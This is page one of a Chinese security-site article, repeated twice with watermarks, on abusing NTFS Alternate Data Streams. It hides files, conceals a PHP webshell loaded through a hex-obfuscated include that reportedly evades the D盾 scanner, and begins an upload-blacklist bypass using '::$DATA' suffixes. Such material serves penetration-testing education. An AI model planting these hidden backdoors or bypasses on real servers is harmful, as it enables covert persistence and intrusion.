欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Windows ADS在渗透测试中的妙用

来源: 作者: 时间:2019-02-24 21:17 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助

NTFS交换数据流(Alternate DataStreams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上。利用ADS数据流,我们可以做很多有趣的事情,同时对于企业安全来说这类问题也隐藏着巨大的风险。本文主要讨论利用方式以及如何防御这类攻击。
利用方式
文件隐藏
在NTFS分区创建ADS数据流文件有两种形式:一是指定宿主文件;二是创建单独的ADS文件。常用的创建命令有两个:echo和type ,echo用于输入常规字符,type则用于将文件附加到目标文件,此类用法通常为CTF出题时候使用。
指定宿主文件
这类情况可以使用命令
echo 9527 > 1.txt:flag.txt
创建目标文件:

正常情况文件无法查看到,可以使用命令:
 dir /r
文件内容可以使用命令notepad 1.txt:flag.txt 进行查看和编辑 查看到文件名:

文件内容可以使用命令:
notepad 1.txt:flag.txt
进行查看和编辑:

此类文件可以通过直接删除宿主文件清除。
单独的ADS数据流文件
这类可以通过命令
echo hide > :key.txt
来进行创建:

创建之后在目录下无文件,也没有依赖的宿主文件,并且此类文件在当前目录命令行下是无法查看的,因为它是依赖于文件夹的ADS数据流文件:

因此需要退到上级目录进行查看:

使用命令:
notepad test:key.txt
可以进行编辑:

像这类文件的清除一种是通过删除文件夹的方式,但是假如这个文件是创建在系统根目录如何进行处理,此时需要用到WinHex   Tools – Open Disk功能。

选中目标盘符,找到目标文件夹。

可以进行查看:

如需删除只需在WinHex选中之后按Delete即可。
webshell后门
由于windows xp之后的系统对于ADS文件都没有执行权限,因此隐藏此类webshell需要用到文件包含来进行配合。
首先创建被包含文件index.php:s.txt。
内容为:
 phpinfo();?>

然后参考:https://blog.csdn.net/nzjdsds/Article/details/81260524的方法,Hex之后通过利用PHP 可变变量进行二次转换,696e6465782e7068703a732e747874为index.php:s.txt的hex编码,最终test.php中内容如下:
 
$a="696e6465782e70"."68703a732e747874";
$b="a";
include(PACK('H*',$$b))
?>
访问test.php即可:

使用最新版D盾扫描也无法发现问题。

PS:这边另外补充一点,文件最好寄宿在纯静态文件,因为像php文件修改后会改变属性,系统层相当于生成了一个新的文件,导致ADS文件失去宿主而消失。
文件上传
这一块主要是用于Bypass上传黑名单验证,因为在我们上传数据流文件时,形如test.php::$DATA、test.php:a.txt这样的后缀,windows系统必定需要创建一个对应的宿主文件test.php,同时假设我们需要上传的文件内容为:

[1] [2]  下一页

NTFS交换数据流(Alternate DataStreams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上。利用ADS数据流,我们可以做很多有趣的事情,同时对于企业安全来说这类问题也隐藏着巨大的风险。本文主要讨论利用方式以及如何防御这类攻击。
利用方式
文件隐藏
在NTFS分区创建ADS数据流文件有两种形式:一是指定宿主文件;二是创建单独的ADS文件。常用的创建命令有两个:echo和type ,echo用于输入常规字符,type则用于将文件附加到目标文件,此类用法通常为CTF出题时候使用。
指定宿主文件
这类情况可以使用命令
echo 9527 > 1.txt:flag.txt
创建目标文件:

正常情况文件无法查看到,可以使用命令:
 dir /r copyright 无奈人生
文件内容可以使用命令notepad 1.txt:flag.txt 进行查看和编辑 查看到文件名:

文件内容可以使用命令:
notepad 1.txt:flag.txt
进行查看和编辑:

此类文件可以通过直接删除宿主文件清除。
单独的ADS数据流文件
这类可以通过命令
echo hide > :key.txt
来进行创建:

无奈人生安全网

创建之后在目录下无文件,也没有依赖的宿主文件,并且此类文件在当前目录命令行下是无法查看的,因为它是依赖于文件夹的ADS数据流文件:

因此需要退到上级目录进行查看:

使用命令:
notepad test:key.txt
可以进行编辑:

像这类文件的清除一种是通过删除文件夹的方式,但是假如这个文件是创建在系统根目录如何进行处理,此时需要用到WinHex   Tools – Open Disk功能。

copyright 无奈人生



选中目标盘符,找到目标文件夹。

可以进行查看:

如需删除只需在WinHex选中之后按Delete即可。
webshell后门
由于windows xp之后的系统对于ADS文件都没有执行权限,因此隐藏此类webshell需要用到文件包含来进行配合。
首先创建被包含文件index.php:s.txt。
内容为: copyright 无奈人生
 phpinfo();?>

然后参考:https://blog.csdn.net/nzjdsds/Article/details/81260524的方法,Hex之后通过利用PHP 可变变量进行二次转换,696e6465782e7068703a732e747874为index.php:s.txt的hex编码,最终test.php中内容如下:
 
$a="696e6465782e70"."68703a732e747874";
$b="a";
include(PACK('H*',$$b))
?>
访问test.php即可:

使用最新版D盾扫描也无法发现问题。
本文来自无奈人生安全网

PS:这边另外补充一点,文件最好寄宿在纯静态文件,因为像php文件修改后会改变属性,系统层相当于生成了一个新的文件,导致ADS文件失去宿主而消失。
文件上传
这一块主要是用于Bypass上传黑名单验证,因为在我们上传数据流文件时,形如test.php::$DATA、test.php:a.txt这样的后缀,windows系统必定需要创建一个对应的宿主文件test.php,同时假设我们需要上传的文件内容为:
copyright 无奈人生

[1] [2]  下一页

内容来自无奈安全网

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。
下一篇:没有了